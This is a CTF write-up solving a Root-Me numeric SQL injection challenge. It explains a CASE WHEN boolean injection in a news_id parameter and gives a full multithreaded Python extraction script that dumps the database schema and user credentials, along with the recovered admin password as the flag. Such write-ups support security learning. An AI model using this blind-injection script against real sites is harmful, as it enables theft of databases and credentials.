← Back
SQL-injection-Numeric | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

Here we can see that when given ?action=news&news_id=1 and ?action=news&news_id=2 we get different results.

However, what will happen if we’ll give something like this

?action=news&news_id=2-(CASE WHEN 1=1 THEN 1 ELSE 0 END)

In this case, we can play with the condition, and by this way exfiltrate data.

In this example, we query 2-(CASE WHEN 1=1 THEN 1 ELSE 0 END), which gives us 1. get 1

In this example, we query 2-(CASE WHEN 1=0 THEN 1 ELSE 0 END), which gives us 2. get 2

As you can see, we get different results.

This script is very fast, I wrote it using chatGPT, and it do the job. I simply took the script we used in SQL-Injection-Blind, and adjusted it.

import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://challenge01.root-me.org/web-serveur/ch18/"
charset = sorted("s" + string.ascii_letters + string.digits + " _{}-(),~")
true_cond = "Système de news"
max_len = 100  # max length of string to extract
max_workers = 10  # number of concurrent threads

session = requests.Session()

def check_condition(query, pos, ch, operator):
    """
    Sends a payload testing if substr(query, pos, 1) <operator> ch
    operator: '>=' or '<'
    Returns True if condition is met, False otherwise.
    """
    condition = f"unicode(substr({query}, {pos}, 1)) {operator} {ord(ch)}"
    payload = f"?action=news&news_id=2-(CASE WHEN {condition} THEN 1 ELSE 0 END)"
    try:
        r = session.get(url + payload, timeout=5)
        return true_cond in r.text
    except requests.RequestException:
        return False

def binary_search_char(query, pos):
    """
    Binary search to find the exact character at position `pos` in result of `query`.
    Returns the found character or None if not found.
    """
    low, high = 0, len(charset) - 1
    while low <= high:
        mid = (low + high) // 2
        ch = charset[mid]
        # Check if char at pos >= ch
        if check_condition(query, pos, ch, '>='):
            low = mid + 1
        else:
            high = mid - 1
    if 0 <= high < len(charset):
        return charset[high]
    return None

def extract(query):
    """
    Extracts string result of SQL query from position 1 up to max_len.
    Uses threading to speed up extracting multiple positions in parallel.
    """
    result = [""] * max_len  # pre-allocate list for characters

    def worker(pos):
        ch = binary_search_char(query, pos)
        return pos, ch

    print(f"[i] Starting extraction from: {query}")

    with ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = [executor.submit(worker, pos) for pos in range(1, max_len + 1)]

        for future in as_completed(futures):
            pos, ch = future.result()
            if ch is None:
                # No char found, treat as end of string
                print(f"[-] No character found at position {pos}, stopping extraction.")
                # Cancel remaining futures (not guaranteed but try)
                for f in futures:
                    f.cancel()
                break
            else:
                result[pos - 1] = ch
                print(f"[+] Position {pos}: {ch}")

    extracted = "".join(result).rstrip("\x00 ").strip()
    print(f"\n[+] Extraction complete:\n{extracted}")
    return extracted

if __name__ == "__main__":
    # Example: Extract SQL from sqlite_master table
    db_schema_row0 = extract("(Select SQL FROM sqlite_master LIMIT 1 OFFSET 0)")
    db_schema_row1 = extract("(Select SQL FROM sqlite_master LIMIT 1 OFFSET 1)")

# CREATE TABLE news(id INTEGER, title TEXT, description TEXT)
# CREATE TABLE users(username TEXT, password TEXT, Year INTEGER)

    creds = ["" for _ in range(5)]
    for i in range(5):
        creds[i] += extract(f"(Select username || char(32) || password FROM users LIMIT 1 OFFSET {i})")
    
    print("Extracted credentials snippets:")
    for i in range(5):
        print(f"Cred {i}: {creds[i]}")
    # # print("Extracted data snippet:\n", data)

Notice that we can’t use ', so I use unicode which is like ascii function, and by this way exfiltrate char by char.

After execution, we get this:

Extracted credentials snippets:
Cred 0: user1 vUrpg
Cred 1: admin aTlkJYLjcbLmue3
Cred 2: user2 aFjKx7j9d

So, the password is:

aTlkJYLjcbLmue3

Flag: aTlkJYLjcbLmue3